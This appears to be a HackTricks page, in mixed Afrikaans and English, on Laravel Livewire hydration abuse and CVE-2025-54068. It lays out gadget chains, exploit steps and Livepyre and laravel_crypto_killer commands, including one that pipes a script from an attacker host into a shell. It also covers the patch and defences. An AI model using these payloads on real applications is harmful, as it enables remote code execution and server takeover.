Laravel Livewire Hydration & Synthesizer Abuse

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks

Opsomming van die Livewire state machine

Livewire 3 komponente ruil hul state uit deur snapshots wat data, memo, en ’n checksum bevat. Elke POST na /livewire/update herlaai die JSON-snapshot aan die serverkant en voer die gequeue calls/updates uit.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Enigeen wat APP_KEY hou (gebruik om $hashKey af te lei) kan dus arbitrêre snapshots forge deur die HMAC te herbereken.

Komplekse eienskappe word gekodeer as synthetic tuples wat deur Livewire\Drawer\BaseUtils::isSyntheticTuple() opgespoor word; elke tuple is [value, {"s":"<key>", ...meta}]. Die hydration core delegeer eenvoudig elke tuple na die synth wat in HandleComponents::$propertySynthesizers gekies is en recurses oor children:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Hierdie recursive ontwerp maak Livewire ’n generic object-instantiation engine sodra ’n attacker óf die tuple metadata óf enige geneste tuple wat tydens recursion verwerk word, beheer.

Synthesizers wat gadget primitives gee

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)Instantiates new $meta['class']($value) nadat elke child herhidreer is. Enige class met ’n array constructor kan geskep word, en elke item kan self ’n synthetic tuple wees.
FormObjectSynth (form)Roep new $meta['class']($component, $path) aan, en ken dan elke public property toe vanaf attacker-controlled children via $hydrateChild. Constructors wat twee loosely typed parameters (of default args) aanvaar, is genoeg om arbitrary public properties te bereik.
ModelSynth (mdl)Wanneer key afwesig is uit meta, voer dit return new $class; uit, wat zero-argument instantiation van enige class onder attacker control moontlik maak.

Omdat synths $hydrateChild op elke geneste element aanroep, kan arbitrary gadget graphs gebou word deur tuples rekursief te stapel.

Forging snapshots wanneer APP_KEY bekend is

  1. Capture ’n geldige /livewire/update request en decode components[0].snapshot.
  2. Inject geneste tuples wat na gadget classes wys en herbereken checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Re-encode die snapshot, laat _token/memo onaangeraak, en replay die request.

’n Minimal proof of execution gebruik Guzzle’s FnStream en Flysystem’s ShardedPrefixPublicUrlGenerator. Een tuple instantiates FnStream met constructor data { "__toString": "phpinfo" }, die volgende instantiates ShardedPrefixPublicUrlGenerator met [FnStreamInstance] as $prefixes. Wanneer Flysystem elke prefix na string cast, roep PHP die attacker-provided __toString callable aan, en noem enige function sonder arguments.

Van function calls na full RCE

Deur Livewire se instantiation primitives te benut, het Synacktiv phpggc se Laravel/RCE4 chain aangepas sodat hydration ’n object boot waarvan die public Queueable state deserialization trigger:

  1. Queueable trait – enige object wat Illuminate\Bus\Queueable gebruik, stel public $chained bloot en voer unserialize(array_shift($this->chained)) uit in dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) word via CollectionSynth / FormObjectSynth geïnstansieer met public $chained ingevul.
  3. phpggc Laravel/RCE4Adapted – die serialized blob wat in $chained[0] gestoor word, bou PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() roep uiteindelik call_user_func_array($closure, $args) aan, wat system($cmd) moontlik maak.
  4. Stealth termination – deur ’n tweede FnStream callable soos [new Laravel\Prompts\Terminal(), 'exit'] te gee, eindig die request met exit() in plaas van ’n lawaaierige exception, en hou die HTTP response skoon.

Automating snapshot forgery

synacktiv/laravel-crypto-killer ship nou ’n livewire mode wat alles saamvoeg:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Die tool ontleed die vasgelegde snapshot, spuit die gadget-tuples in, herbereken die checksum, en druk ’n gereed-om-te-stuur /livewire/update payload uit.

CVE-2025-54068 – RCE without APP_KEY

Volgens die vendor advisory raak die issue Livewire v3 (>= 3.0.0-beta.1 en <= 3.6.3) en is uniek aan v3.

updates word saamgevoeg in component state die snapshot checksum gevalideer is. As ’n property binne die snapshot ’n synthetic tuple is (of word), hergebruik Livewire sy meta terwyl dit die attacker-controlled update value hydrate:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit-resep:

  1. Vind n Livewire component met n ongetikte public property (bv. public $count;).
  2. Stuur n update wat daardie property op []stel. Die volgende snapshot stoor dit nou as[[], {“s”: “arr”}]`.

`n Minimum type-juggling flow lyk so:

POST /livewire/update
...
"updates": {"count": []}

Dan stoor die volgende snapshot n tuple wat die arr` synthesizer metadata behou:

"count": [[], {"s": "arr"}]
  1. Bou n ander updatespayload waar daardie propertyn diep geneste array bevat wat tuples insluit soos [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  2. Tydens recursion evalueer hydrate() elke geneste child onafhanklik, so attacker-gekose synth keys/classes word gehonoreer selfs al het die buitenste tuple en checksum nooit verander nie.
  3. Hergebruik dieselfde CollectionSynth/FormObjectSynth primitives om n Queueable gadget te instansieer wie se $chained[0]die phpggc payload bevat. Livewire verwerk die forged updates, roepdispatchNextJobInChain()aan, en bereiksystem()sonder omAPP_KEY` te ken.

Belangrike redes waarom dit werk:

  • updates word nie deur die snapshot checksum gedek nie.
  • getMetaForPath() vertrou watter synth metadata ook al reeds vir daardie property bestaan het, selfs al het die attacker dit vroeër gedwing om `n tuple te word via weak typing.
  • Recursion plus weak typing laat elke geneste array toe om as `n splinternuwe tuple geïnterpreteer te word, sodat arbitrêre synth keys en arbitrêre classes uiteindelik hydration bereik.

Hoë-waarde pre-auth target: Filament login forms

Applications wat bo-op Livewire gebou is, stel dikwels n selfs makliker pre-auth oppervlak bloot as n toy public $count; property. Byvoorbeeld, Filament login pages hydrate gewoonlik n swak getikte $formobject wat reeds asn form tuple in die snapshot geserialiseer is. Dit verwyder die “scalar -> array -> arr tuple” setup-stap heeltemal:

  • Die snapshot bevat reeds iets soos {"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}.
  • n Attacker kan updates.formmet geneste kwaadwillige tuples direk stuur, want recursion sal uiteindelik children soos[payload, {“s”:“clctn”,“class”:“GuzzleHttp\Psr7\FnStream”}]` herinterpreteer.
  • Dit is waarom pre-auth Livewire entrypoints wat FormObjectSynth objects blootstel, veral aantreklik is: hulle verskaf reeds beide instantiation en public-property assignment.

Patch analysis: preserve raw metadata during update recursion

Die fix stel n toegewyde hydratePropertyUpdate()path bekend sodat geneste update values nie meer generiesehydrate($child, …)` op attacker-beheerde children aanroep nie:

protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);

return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}

Sekuriteit-impak van die patch:

  • Geneste updates word weer gevalideer teen die oorspronklike raw snapshot path in plaas daarvan om nuwe, aanvaller-gesuiplexte tuple metadata te vertrou.
  • Rekursiewe hydration laat nie meer toe dat children s of class mid-flight herdefinieer nie.
  • Dit blok beide arbitrary synthesizer switching en arbitrary class selection binne geneste update arrays.

Livepyre – end-to-end exploitation

Livepyre outomatiseer beide die APP_KEY-less CVE en die signed-snapshot path:

  • Fingerprints die ontplooiede Livewire version deur <script src="/livewire/livewire.js?id=HASH"> (of ?v=HASH) te parse en die hash na vulnerable releases te map.
  • Versamel baseline snapshots deur benign actions te herhaal en components[].snapshot te ekstraheer.
  • Genereer óf n updates-only payload (CVE-2025-54068) óf n forged snapshot (known APP_KEY)` wat die phpggc chain insluit.
  • As geen object-typed parameter in n snapshot gevind word nie, val Livepyre terug na brute-forcing candidate params om n coercible property te bereik.

Tipiese gebruik:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check voer ’n nie-vernietigende probe uit, -F slaan weergawe-gating oor, -H en -P voeg custom headers of proxies by, en --function/--param pas die php function aan wat deur die gadget chain opgeroep word.

Defensive considerations

  • Gradeer op na gefikste Livewire builds (>= 3.6.4 volgens die vendor bulletin) en ontplooi die vendor patch vir CVE-2025-54068.
  • Vermy swak getikte publieke properties in Livewire components; eksplisiete scalaar tipes keer dat property values na arrays/tuples gedwing word.
  • Registreer net die synthesizers wat jy werklik nodig het en behandel user-controlled metadata ($meta['class']) as ontrusted.
  • Verwerp updates wat die JSON type van ’n property verander (bv. scalar -> array) tensy dit eksplisiet toegelaat word, en herlei synth metadata in plaas daarvan om verouderde tuples te hergebruik.
  • Roteer APP_KEY dadelik na enige disclosure omdat dit offline snapshot forging moontlik maak, maak nie saak hoe gepatch die code-base is nie.

References

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks